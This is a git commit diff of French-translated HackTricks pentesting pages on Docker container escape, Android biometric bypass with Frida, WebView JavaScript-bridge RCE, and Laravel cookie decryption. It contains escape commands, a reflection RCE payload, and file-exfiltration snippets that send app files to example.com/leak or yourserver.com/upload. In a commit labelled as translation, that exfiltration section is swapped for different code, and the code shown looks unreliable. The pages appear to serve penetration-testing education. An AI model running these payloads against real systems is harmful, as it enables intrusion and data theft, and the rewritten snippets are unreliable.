Translated ['linux-hardening/privilege-escalation/docker-security/docker

This commit is contained in:
Translator 2023-12-19 21:54:17 +00:00
parent 8ed40961b0
commit 77db8f6d2e
4 changed files with 92 additions and 109 deletions

View file

@ -23,7 +23,7 @@ Obtenez un accès aujourd'hui :
## Énumération et évasion automatiques
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) : Il peut également **énumérer les conteneurs**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery) : Cet outil est très **utile pour énumérer le conteneur dans lequel vous vous trouvez, voire essayer de vous échapper automatiquement**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery) : Cet outil est assez **utile pour énumérer le conteneur dans lequel vous vous trouvez, voire essayer de vous échapper automatiquement**
* [**amicontained**](https://github.com/genuinetools/amicontained) : Outil utile pour obtenir les privilèges dont dispose le conteneur afin de trouver des moyens de s'en échapper
* [**deepce**](https://github.com/stealthcopter/deepce) : Outil pour énumérer et s'échapper des conteneurs
* [**grype**](https://github.com/anchore/grype) : Obtenez les CVE contenues dans les logiciels installés dans l'image
@ -55,7 +55,7 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
Dans le cas où le **socket docker est à un endroit inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///chemin/vers/docker.sock`**
{% endhint %}
Le démon Docker peut également être [en écoute sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`.
Le démon Docker peut également [écouter sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`.
{% hint style="info" %}
De plus, faites attention aux sockets d'exécution des autres runtimes de haut niveau :
@ -102,7 +102,7 @@ Le drapeau `--privileged` présente des problèmes de sécurité importants, et
[docker-privileged.md](../docker-privileged.md)
{% endcontent-ref %}
### Privileged + hostPID
### Privilégié + hostPID
Avec ces autorisations, vous pouvez simplement **passer à l'espace de noms d'un processus s'exécutant sur l'hôte en tant que root**, comme init (pid:1), en exécutant simplement : `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
@ -372,13 +372,13 @@ bash -p #From non priv inside mounted folder
```
### Élévation de privilèges avec 2 shells
Si vous avez accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez exploiter les deux shells pour **élever les privilèges à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans cet article**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Si vous avez accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez exploiter les deux shells pour **élever les privilèges à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans cet article**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
Avec cette capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphérique bloc**. Les fichiers de périphérique sont des fichiers spéciaux utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique bloc /dev/sda permet d'**accéder aux données brutes du disque du système**.
Docker veille à ce que les périphériques bloc **ne puissent pas être utilisés de manière abusive à partir du conteneur** en définissant une politique cgroup sur le conteneur qui bloque la lecture et l'écriture des périphériques bloc.\
Cependant, si un périphérique bloc est **créé à l'intérieur du conteneur, il peut être accédé** via le dossier /proc/PID/root/ par quelqu'un **à l'extérieur du conteneur**, à condition que le **processus soit détenu par le même utilisateur** à l'extérieur et à l'intérieur du conteneur.
Exemple d'**exploitation** à partir de ce [**rapport**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
Exemple d'**exploitation** à partir de ce [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
```bash
# On the container as root
cd /
@ -441,7 +441,7 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
Vous pouvez également **arrêter des processus et provoquer un déni de service**.
Vous pouvez également **arrêter des processus et provoquer un déni de service (DoS)**.
{% hint style="warning" %}
Si vous avez d'une manière ou d'une autre un **accès privilégié à un processus en dehors du conteneur**, vous pouvez exécuter quelque chose comme `nsenter --target <pid> --all` ou `nsenter --target <pid> --mount --net --pid --cgroup` pour **exécuter un shell avec les mêmes restrictions de namespace** (espérons-le, aucune) **que ce processus**.
@ -466,7 +466,7 @@ Vous pourrez également accéder aux **services réseau liés à localhost** à
```
docker run --rm -it --ipc=host ubuntu bash
```
Si vous avez uniquement `hostIPC=true`, il est probable que vous ne puissiez pas faire grand-chose. Si un processus sur l'hôte ou tout autre processus dans un autre pod utilise les **mécanismes de communication inter-processus** de l'hôte (mémoire partagée, tableaux de sémaphores, files de messages, etc.), vous pourrez lire/écrire sur ces mêmes mécanismes. Le premier endroit où vous voudrez regarder est `/dev/shm`, car il est partagé entre tout pod avec `hostIPC=true` et l'hôte. Vous voudrez également vérifier les autres mécanismes IPC avec `ipcs`.
Si vous avez uniquement `hostIPC=true`, vous ne pourrez probablement pas faire grand-chose. Si un processus sur l'hôte ou un processus dans un autre pod utilise les **mécanismes de communication inter-processus** de l'hôte (mémoire partagée, tableaux de sémaphores, files de messages, etc.), vous pourrez lire/écrire sur ces mêmes mécanismes. Le premier endroit où vous voudrez regarder est `/dev/shm`, car il est partagé entre tout pod avec `hostIPC=true` et l'hôte. Vous voudrez également vérifier les autres mécanismes IPC avec `ipcs`.
* **Inspecter /dev/shm** - Recherchez les fichiers dans cet emplacement de mémoire partagée : `ls -la /dev/shm`
* **Inspecter les installations IPC existantes** - Vous pouvez vérifier si des installations IPC sont utilisées avec `/usr/bin/ipcs`. Vérifiez avec : `ipcs -a`
@ -481,12 +481,12 @@ cat /proc/self/status | grep CapEff
```
### Abus de l'espace de noms utilisateur via un lien symbolique
La deuxième technique expliquée dans l'article [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indique comment vous pouvez abuser des montages liés avec des espaces de noms utilisateur pour affecter les fichiers à l'intérieur de l'hôte (dans ce cas spécifique, supprimer des fichiers).
La deuxième technique expliquée dans l'article [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indique comment vous pouvez abuser des montages liés avec des espaces de noms utilisateur pour affecter les fichiers à l'intérieur de l'hôte (dans ce cas spécifique, supprimer des fichiers).
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
Obtenez un accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -494,7 +494,7 @@ Accédez dès aujourd'hui :
### Exploitation de Runc (CVE-2019-5736)
Dans le cas où vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous pouvez essayer d'escalader les privilèges en vous échappant d'un conteneur en abusant de CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** à partir d'un conteneur, de sorte que toute personne exécutant docker exec peut déclencher la charge utile.
Dans le cas où vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous pouvez essayer d'escalader les privilèges en échappant à un conteneur en abusant de CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** à partir d'un conteneur, de sorte que toute personne exécutant docker exec peut déclencher la charge utile.
Modifiez la charge utile en conséquence et compilez main.go avec `go build main.go`. Le binaire résultant doit être placé dans le conteneur Docker pour être exécuté.\
Lors de l'exécution, dès qu'il affiche `[+] Overwritten /bin/sh successfully`, vous devez exécuter la commande suivante depuis la machine hôte :

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -16,13 +16,13 @@ Ces méthodes ont été copiées depuis [https://securitycafe.ro/2022/09/05/mobi
## **Méthode 1 - Lorsque l'objet crypto n'est pas utilisé**
La mise en œuvre de l'authentification repose sur l'appel du rappel _**onAuthenticationSucceded**_ . Les chercheurs de F-Secure ont développé un [**script Frida**](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) qui peut être utilisé pour **contourner** l'objet _**CryptoObject**_ NULL dans _**onAuthenticationSucceeded(…)**_. Le script contournera automatiquement l'empreinte digitale lorsque la méthode susmentionnée est appelée. Voici un court exemple qui montre le contournement pour l'empreinte digitale Android. L'application complète peut être téléchargée depuis mon [GitHub](https://github.com/St3v3nsS/InsecureBanking).
La mise en œuvre de l'authentification repose sur l'appel du rappel _**onAuthenticationSucceded**_. Les chercheurs de WithSecure ont développé un [**script Frida**](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) qui peut être utilisé pour **contourner** le _**CryptoObject**_ NULL dans _**onAuthenticationSucceeded(…)**_. Le script contournera automatiquement l'empreinte digitale lorsque la méthode mentionnée ci-dessus est appelée. Voici un court exemple qui montre le contournement pour l'empreinte digitale Android. L'application complète peut être téléchargée depuis mon [GitHub](https://github.com/St3v3nsS/InsecureBanking).
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
public void onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result) {
Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
}
@Override
public void onAuthenticationSucceeded(@NonNull BiometricPrompt.AuthenticationResult result) {
Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
}
});
```
@ -31,13 +31,13 @@ frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-by
```
### **Méthode 2 - Gestion des exceptions**
Ce [**script Frida**](https://github.com/FSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) développé par F-Secure peut être utilisé pour contourner l'utilisation non sécurisée de l'objet crypto. Tout ce que le script doit faire est d'appeler manuellement _**onAuthenticationSucceded**_ avec un _**CryptoObject**_ **non autorisé** (non déverrouillé par empreinte digitale) stocké dans le Keystore. Le problème est que si l'application tente d'utiliser un autre objet de chiffrement, alors une **exception sera levée**. Ce script tentera d'appeler _**onAuthenticationSucceded**_ et de capturer l'exception _**javax.crypto.IllegalBlockSizeException**_ dans la classe _Cipher_. Désormais, **tous les objets utilisés par l'application seront chiffrés à l'aide de cette nouvelle clé**.
Ce [**script Frida**](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) développé par WithSecure peut être utilisé pour contourner l'utilisation non sécurisée de l'objet crypto. Tout ce que le script doit faire, c'est appeler manuellement _**onAuthenticationSucceded**_ avec un _**CryptoObject**_ non autorisé (non déverrouillé par empreinte digitale) stocké dans le Keystore. Le problème est que si l'application tente d'utiliser un autre objet de chiffrement, une **exception sera levée**. Ce script tentera d'appeler _**onAuthenticationSucceded**_ et de capturer l'exception _**javax.crypto.IllegalBlockSizeException**_ dans la classe _Cipher_. Désormais, **tous les objets utilisés par l'application seront chiffrés à l'aide de cette nouvelle clé**.
```
frida -U -f com.st3v3nss.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
```
Maintenant, allez sur l'écran d'empreinte digitale et attendez que la fonction _authenticate()_ soit appelée. Une fois que vous la voyez à l'écran, tapez _**bypass()**_ dans la console Frida :
Maintenant, allez à l'écran d'empreinte digitale et attendez que la fonction _authenticate_() soit appelée. Une fois que vous voyez cela à l'écran, tapez _**bypass()**_ dans la console Frida :
```
Spawning `com.st3v3nss.insecurebankingfingerprint`...
Spawning `com.st3v3nss.insecurebankingfingerprint`...
[Android Emulator 5554::com.st3v3nss.insecurebankingfingerprint ]-> Hooking BiometricPrompt.authenticate()...
Hooking BiometricPrompt.authenticate2()...
Hooking FingerprintManager.authenticate()...
@ -47,10 +47,10 @@ Hooking FingerprintManager.authenticate()...
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -116,7 +116,7 @@ webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
Avec accès au code JavaScript, par exemple via une attaque **XSS** stockée, une attaque **MITM** ou un **site web malveillant** chargé dans le WebView, il est possible d'appeler directement les méthodes Java exposées.
Avec accès au code JavaScript, par exemple, via une attaque **XSS** stockée, une attaque **MITM** ou un **site web malveillant** chargé dans le WebView, il est possible d'appeler directement les méthodes Java exposées.
{% hint style="info" %}
Notez que dans le cas de tentative d'exploitation de cette vulnérabilité via une **redirection ouverte vers une page web d'un attaquant qui accède à l'objet Android natif**. Si l'accès à la redirection se fait via un **navigateur mobile** et **non en utilisant** le même **WebView**, le **navigateur ne pourra pas accéder à l'objet Android natif**.
@ -125,12 +125,12 @@ Notez que dans le cas de tentative d'exploitation de cette vulnérabilité via u
Si `addJavascriptInterface` est nécessaire, prenez en compte les considérations suivantes :
* **Seul le JavaScript fourni** avec l'APK devrait être autorisé à utiliser les ponts, par exemple en vérifiant l'URL sur chaque méthode Java reliée (via `WebView.getUrl`).
* **Aucun JavaScript ne devrait être chargé à partir de points d'accès distants**, par exemple en maintenant la navigation de page dans les domaines de l'application et en ouvrant tous les autres domaines dans le navigateur par défaut (par exemple, Chrome, Firefox).
* Si nécessaire pour des raisons de compatibilité (par exemple, pour prendre en charge les anciens appareils), **définissez au moins le niveau minimal de l'API sur 17** dans le fichier manifeste de l'application (`<uses-sdk android:minSdkVersion="17" />`).
* **Aucun JavaScript ne doit être chargé à partir de points d'extrémité distants**, par exemple en maintenant la navigation de la page dans les domaines de l'application et en ouvrant tous les autres domaines dans le navigateur par défaut (par exemple, Chrome, Firefox).
* Si nécessaire pour des raisons de compatibilité (par exemple, pour prendre en charge les anciens appareils), **définissez au moins le niveau d'API minimal sur 17** dans le fichier manifeste de l'application (`<uses-sdk android:minSdkVersion="17" />`).
### Pont JavaScript vers RCE via Reflection
Comme indiqué dans [**cette recherche**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_consultez-la pour des idées en cas d'obtention de RCE_), une fois que vous avez trouvé un pont JavaScript, il est possible d'obtenir **RCE** via **Reflection** en utilisant une charge utile comme celle-ci :
Comme indiqué dans [**cette recherche**](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_consultez-la pour des idées au cas où vous obtiendriez une RCE_), une fois que vous avez trouvé un pont JavaScript, il est possible d'obtenir une **RCE** via **Reflection** en utilisant une charge utile comme celle-ci :
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
@ -140,7 +140,7 @@ return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRu
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
Cependant, les applications modernes peuvent utiliser l'annotation **`@JavascriptInterface`** qui indique au JavascriptBridge que seule la méthode avec cette annotation doit être **exposée**. Dans ce scénario, vous ne pourrez pas abuser de la réflexion pour exécuter du code arbitraire.
Cependant, les applications modernes peuvent utiliser l'annotation **`@JavascriptInterface`** qui indique au JavascriptBridge que seule la méthode avec cette annotation doit être exposée. Dans ce scénario, vous ne pourrez pas abuser de la réflexion pour exécuter du code arbitraire.
### Débogage à distance
@ -178,50 +178,33 @@ Les charges utiles sont des morceaux de code malveillant qui sont injectés dans
Pour exfiltrer des fichiers, vous pouvez utiliser les méthodes suivantes :
1. **Injection de JavaScript** : Vous pouvez injecter du code JavaScript dans la WebView de l'application pour accéder aux fichiers locaux et les envoyer à un serveur distant.
1. **Injection de JavaScript** : Si l'application utilise une WebView pour afficher du contenu Web, vous pouvez injecter du code JavaScript pour accéder aux fichiers locaux de l'application et les envoyer à un serveur distant.
```javascript
var file = "/data/data/com.example.app/files/sensitive_file.txt";
fetch(file)
.then(response => response.text())
.then(data => {
// Envoyer le contenu du fichier à un serveur distant
fetch("https://example.com/leak", {
method: "POST",
body: data
});
});
```
```javascript
var file = "/data/data/com.example.app/files/myfile.txt";
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://yourserver.com/upload?file=" + file, true);
xhr.send();
```
2. **Utilisation de l'API WebView** : Vous pouvez utiliser l'API WebView pour accéder aux fichiers locaux de l'application et les envoyer à un serveur distant.
2. **Utilisation de l'API Java** : Si l'application expose des interfaces Java personnalisées, vous pouvez utiliser ces interfaces pour accéder aux fichiers locaux et les envoyer à un serveur distant.
```java
WebView webView = new WebView(context);
webView.loadUrl("javascript:fetch('/data/data/com.example.app/files/sensitive_file.txt')" +
".then(response => response.text())" +
".then(data => {" +
" fetch('https://example.com/leak', {" +
" method: 'POST'," +
" body: data" +
" });" +
"});");
```
```java
File file = new File("/data/data/com.example.app/files/myfile.txt");
FileInputStream fis = new FileInputStream(file);
byte[] buffer = new byte[(int) file.length()];
fis.read(buffer);
fis.close();
// Envoyer le fichier à un serveur distant
```
3. **Utilisation de l'intercepteur de requêtes** : Vous pouvez utiliser un intercepteur de requêtes pour capturer les requêtes sortantes de l'application et extraire les fichiers avant qu'ils ne soient envoyés.
3. **Utilisation d'une bibliothèque tierce** : Si l'application utilise une bibliothèque tierce qui permet l'accès aux fichiers locaux, vous pouvez utiliser cette bibliothèque pour exfiltrer les fichiers.
```java
webView.setWebViewClient(new WebViewClient() {
@Override
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
if (request.getUrl().toString().equals("https://example.com/leak")) {
// Extraire le fichier et l'envoyer à un serveur distant
String fileContent = readFile("/data/data/com.example.app/files/sensitive_file.txt");
sendFileToServer(fileContent);
}
return super.shouldInterceptRequest(view, request);
}
});
```
```java
File file = new File("/data/data/com.example.app/files/myfile.txt");
ThirdPartyLibrary library = new ThirdPartyLibrary();
library.uploadFile(file);
```
Il est important de noter que l'exfiltration de fichiers arbitraires est une violation de la vie privée et peut être illégale. Vous devez toujours obtenir une autorisation appropriée avant de procéder à de telles actions lors d'un test de pénétration.
```javascript
@ -245,7 +228,7 @@ xhr.send(null);
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -1,13 +1,13 @@
## Laravel
# Laravel
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -25,13 +25,13 @@ Cela est généralement nécessaire pour exploiter d'autres CVE de RCE Laravel.
### .env
Laravel enregistre l'APP qu'il utilise pour crypter les cookies et autres informations d'identification dans un fichier appelé `.env` qui peut être accédé en utilisant une certaine traversée de chemin sous : `/../.env`
Laravel enregistre l'application qu'il utilise pour chiffrer les cookies et autres informations d'identification dans un fichier appelé `.env` qui peut être accédé en utilisant une certaine traversée de chemin sous : `/../.env`
Laravel affichera également ces informations dans la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée).
En utilisant la clé secrète APP\_KEY de Laravel, vous pouvez décrypter et ré-encrypter les cookies :
### Décrypter un cookie
### Décrypter le cookie
```python
import os
import json
@ -47,42 +47,42 @@ from phpserialize import loads, dumps
#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3
def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
